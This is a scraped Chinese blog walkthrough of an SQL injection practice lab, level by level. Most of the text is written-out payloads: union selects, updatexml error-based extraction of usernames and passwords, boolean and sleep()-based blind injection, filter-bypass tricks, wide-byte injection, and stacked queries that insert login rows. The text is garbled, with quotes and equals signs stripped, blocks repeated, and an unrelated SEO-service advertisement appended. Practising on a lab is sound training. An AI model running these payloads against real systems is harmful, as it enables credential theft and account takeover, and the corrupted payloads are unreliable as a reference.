96SEO 2026-02-19 18:35 19
。

因为该页面存在回显#xff0c;所以我们可以使用联合查询。
联合查询原理简单说一下1
看回显通过回显来判断是否存在注入以及用什么方式进行注入直接上图
可以根据结果指定是字符型且存在sql注入漏洞。
因为该页面存在回显所以我们可以使用联合查询。
联合查询原理简单说一下联合查询就是两个sql语句一起查询两张表具有相同的列数且字段名是一样的。
1,2,group_concat(table_name)from
1,2,group_concat(username,0x7e,password)
0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看那我们接着直接上图
在这里还是解释一下因为这里报出一个没有4所以我们判断有3个字段
这里我们得到了库名是security那么我就利用库名来判断表名
发现有一个users表我们可以利用我们利用user表去获取其中的字段发现字段以后我们就可以去得到这个表中的用户名和密码了
1,2,group_concat(table_name)from
1,2,group_concat(username,0x7e,password)
0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看额在靶场环境中的话数据库名
1,2,group_concat(table_name)from
得到表中的字段,利用表中的字段得到我们的想要的数据?id-1)
1,2,group_concat(username,0x7e,password)
1,2,group_concat(table_name)from
1,2,group_concat(username,0x7e,password)
看到这里就知道了有回显但是不明确可能有注入点可以找但是得用盲注或者使用显错注入
--来进行闭合注入然后我们选择显错注入显错注入相对盲注来说更加简单我们可以先去尝试着用显错
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值接着我们来上图
我们发现一个user表对我们有用我们可以尝试去找一下表中的具体字段
在这里我们只发现了一个用户名和密码而我们想要所有的用户名和密码所以我们直接上bp
这里我们就找到了闭合点所以我们可以使用显错注入来获取我们想要的到的内容了
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值同理我们这里直接去测试账号密码就好了
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值同理我们直接测账户密码
然而使用–将后面注释以后又出来回显所以这里存在注入我们可以尝试着显错注入
发现一个问题不会报错所以这里不存在显错注入那没得选只能盲注了我们选择布尔型的盲注因为这里有回显
这里尝试以后发现数据库长度是8也可以直接用bp去测然后我们开始测数据库的名称上bp
这里payload介绍一下因为有substr命令所以选择1这个payload又因为是测试数据库所以选择s
我们得到它的表的个数是4个那么我就可用bp测试它的每个表的长度了
我们得出结论第一个表长度是6第二个是8第三个是7第四个是5最长的是8我们需要特别注意一下因为一会要用
我们得出结果:表名分别为:emails、referers、uagents、users
我们得到结果第一个字段长度为2第二个字段长度为8第三个字段长度为8
我们可以利用username和password获取到数据库中的具体字段的数据
因为我们不知道里面有多少个数据所以我们先给20个尝试一下所以第一个给到20
这里我们说一下第三个因为要爆用户名用户名可能存在一些特殊的符号所以我们的第三个要加一些特殊符号以及数字
我们得到的密码是:dumb、i-kill-you、password、crappy、stupidity、genious、mob!le
我们发现一个问题就是不管怎么尝试找闭合点都找不到页面总是不变这时候就想到了时间延时注入
database()),1,1)s,sleep(5),1)--
database()),1,1))115,sleep(5),1)--
使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
table_schemadatabase())4,sleep(5),1)
使用延时注入来判断password字段中的数据是否为我们判断数据库的长度是8接着我们就可以去判断数据库的内容了
同样的思路我们去找表的个数、长度、内容、以及字段的个数、长度、内容、以及具体的数据思路跟上面的思路是一样的这里我们直接给到一个最后的数据图
同样的道理使用时间延时找到闭合点是后面思路完全一样我们直接上命令
database()),1,1)s,sleep(5),1)--
database()),1,1))115,sleep(5),1)--
使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
table_schemadatabase())4,sleep(5),1)
使用延时注入来判断password字段中的数据是否为D11-14关
我们发现在请求体中将username后面使用’闭合以后使用or11形成永真而#又将后面的注释掉出现了结果所以这里可以注入
1,group_concat(username,0x7e,password)
0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看在这里我们可以得到它有2个字段
1,group_concat(username,0x7e,password)
0x7e是编码的东西解码之后是~是为了让我们看回显的时候更好看之后就跟上一个同理了这里我们还是直接出一个最后结果
这里我们发现一个问题它的显错位没有出来反而登陆进去了那就感觉这里不存在联合注入了这里得进行盲注或者显错注入我们还是优先选择显错注入
(updatexml(1,concat(0x5c,database(),0x5c),1))#
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值得出数据库的名字为security
table_schemadatabase())4,sleep(1),1)
使用延时注入来判断password字段中的数据是否为D判断库的长度
第二个是表的长度最长的是8所以我们给8第三个是表的内容我们给a-z
我们的得到了表的名字发现有一个users我们可以使用users去判断它的字段的个数
然后我们来判断它的每一个字段的长度在这里我们发现字段长度分别为
在这里得到了username和password我们可以去找具体的数据原理是一样的最后的结果跟上面的账户密码是一样的。
这里发现没有回显所以只能使用延时注入跟上面15关一样只是闭合点不一样
table_schemadatabase())4,sleep(1),1)
使用延时注入来判断password字段中的数据是否为D过程完全一样就是闭合点不一样所以这里不给图了照着15就好了
发现一个问题我们不管怎么去尝试都找不到注入点在username中找不到注入点就应该是在password中找
爆出账号以后尝试着从passwrod处进行注入找到闭合点以后尝试着注入
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值利用users表获获取表中的字段
登陆一下之后发现一个ua这里是我们登陆以后有一个回显是ua所以我们可以尝试着来ua注入
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值我们利用users表获取我们想要得到的内容然后我们获取username和password内容
这里我们发现一个cookie值同样的道理我们登陆以后会提示有一个cookie值这里就可能是利用cookie值进行注入
1,2,group_concat(table_name)from
1,group_concat(username,0x22,password)
同理登陆以后发现有cookie所以还是尝试着用cookie注入我们开始抓包
但是这里我们发现一个问题cookie后面的内容并非我们输入的东西
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值2.第二十二关
(updatexml(1,concat(0x5c,database(),0x5c),1))#
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))#
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值同理我们
1,group_concat(username),group_concat(password)
这一关我们发现让我们去注册一个用户所以我们有思路可以尝试者去进行二次注入
这个原理是这样的我们创建了一个admin’#的用户去修改它的密码数据库会执行一个update命令
这样的话数据库会将#注释掉默认以为修改admin的密码所以导致我们可以使用admin登陆数据库
1,2,group_concat(table_name)from
1,2,group_concat(username,0x7e,passwoorrd)
0x7e是编码的东西解码之后是~是为了让我们看回显的时候跟好看
1,2,group_concat(username,0x22,passwoorrd)
这里需要注意一下我们需要把informtaion写成infoorrmation
?id1||(updatexml(1,concat(0x7e,database(),0x7e),1))
?id1||(updatexml(1,concat(0x7e(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schemasecurity))),1))||0
?id1||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schemasecurityaandnd(table_nameusers)))),1))||0
?id1||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||0
二十七关和二十六差不多不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。
?id1or(updatexml(1,concat(0x7e,database(),0x7e),1))or
?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schemasecurity))),1))or0
?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schemasecurityand(table_nameusers)))),1))or0
?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or0
该关卡过滤了注释符空格还过滤了union和select。
\s表示空格表示匹配一次或多次/i表示不区分大小写所以整体表示匹配
union加一个或多个空格加select其中union和select不区分大小。
所以我们可以使用重写绕过写。
union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schemadatabase()and
union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schemasecurity%0Aand%0Atable_nameusers%0Aand(1
union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A(1
就是会对输入的参数进行校验是否为数字但是在对参数值进行校验之前的提取时候只提取了第一个id值如果我们有两个id参数第一个id参数正常数字第二个id参数进行sql注入。
sql语句在接受相同参数时候接受的是后面的参数值。
利用参数污染注入传入2个参数第一个用来欺骗waf第二个用于正常访问。
1,2,group_concat(username,-,password)
1,2,group_concat(username,-,password)
1,2,group_concat(username,-,password)
因为php源码中是用来greg_replace函数将斜杠单引号与双引号过滤了所以输入’之后不起作用所以这个时候我们可以使用宽字节注入当某字符的大小为一个字节时称其字符为窄字节当某字符的大小为两个字节时称其字符为宽字节。
所有英文默认占一个字节汉字占两个字节。
我们使用%df和%27组合使其成为一个宽字节然后导致报错然后我们可以将后面注释从而形成注入
1,2,group_concat(table_name)from
1,2,group_concat(username,id,password)
看到这个我们就很敏感了同样的道理还是将’转义了所以我们需要使用宽字节
这样的话就完美的解决了然后我们就可以使用我们的命令了直接上命令
1,group_concat(username,id,password)
--然后我们就可以使用联合注入但是肯定有过滤的东西所以我们直接上命令
1,database(),group_concat(table_name)
1,database(),group_concat(column_name)
爆出字段但是这里的users表需要用16进制编码因为对users做了过滤
1,2,group_concat(username,password)
1,2,group_concat(table_name)from
1,2,group_concat(username,id,password)
1,group_concat(username,id,password)
到这里我们发现和第一关的是一样的但用第一关的做法来做就多多少少有点捞了这波是要我们练习堆叠注入的所以我们可以执行多条sql语句。
所以我们可以插入一个表格或者修改数据或者删除数据库什么的这里都行所以就创建一个表吧
我们发现闭合点就是没有闭合点所以我们这里直接进行堆叠语句就好了
hjm2(id,username,password)values(1,hjm,password)同理我们上数据库看一下
这一关同理我们只要找到注入点就好了这里是一个post请求我们可以去抓包然后找到注入点之后利用堆叠注入
在这里我们找到了注入方式我们可以给users表中插入两个数据作为我们登陆账号和密码
(100,hjm1,123456)#然后我们可以上数据库看一下我们也可以直接登陆我们登陆看一下吧这里我们成功的登录进去成功拿下数据库
第四十三关是同样的思路找到闭合点就好了我们找到了注入点后面的是同样的同样的思路我们可以去拿他数据库也可以执行一些堆叠语句
使用新的参数sort通过输入123表中出现不同数据该sql语句是order
bysql语句参数没有引号且不能使用联合注入有报错显示所以我们可以使用updatexml进行报错。
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值设置好payload直接爆出所有的账户密码
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
使用显错注入获取到username和password的所有值3.第四十八关
database()),1,1)s,sleep(1),1)--
table_schemadatabase())4,sleep(1),1)
使用延时注入来判断password字段中的数据是否为D4.第四十九关
database()),1,1)s,sleep(1),1)--
table_schemadatabase())4,sleep(1),1)
使用延时注入来判断password字段中的数据是否为D51-53关
(updatexml(1,concat(0x5c,database(),0x5c),1))
(updatexml(1,concat(0x5c,version(),0x5c),1))
(updatexml(1,concat(0x5c,(select
table_schemadatabase()),0x5c),1))
(updatexml(1,concat(0x5c,(select
(updatexml(1,concat(0x5c,(select
group_concat(username)from(select
(updatexml(1,concat(0x5c,(select
group_concat(password)from(select
(updatexml(1,concat(0x5c,(select
group_concat(username,0x5c,password)from(select
--使用显错注入获取到username和password的所有值2.第五十二关
在这里我们发现了这里有注入点可以在这里进行堆叠注入比如创建数据库
翻译页面的英文得知只有十次输入机会超过十次所有表名列名等等都会随机重置。
id参数是单引号闭合就
1,2,group_concat(table_name)from
同样在这里我们找到了注入点但是次数只有5次所以我们想到了报错注入
updatexml(1,concat(0x7e,(select
table_schemadatabase()),0x7e),1)--
updatexml(1,concat(0x7e,(select
table_namex87nrg3jvg),0x7e),1)--
updatexml(1,concat(0x7e,(select
爆出字段的名字idsessicsecret_sx1R,tryy
这里发现闭合以后不报错没有回复所以这里是使用盲注盲注命令前面都有这里就找一下闭合点了
这里有些细心的师傅应该会发现后面的ip地址是发生变化的这里是我在打靶过程中出现了一些问题然后重新搭建的另一个靶机
这里写了所有关卡的方法其实那些方法都大差不差主要是学习思路所以后续一些关卡的命令就没有拿出来因为同前面的都一样
整个过程中费时费力这是一件挺耗费精力的事情花了很长世界写了这篇文章希望对于各位师傅有所帮助后续还在持续的更新中
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback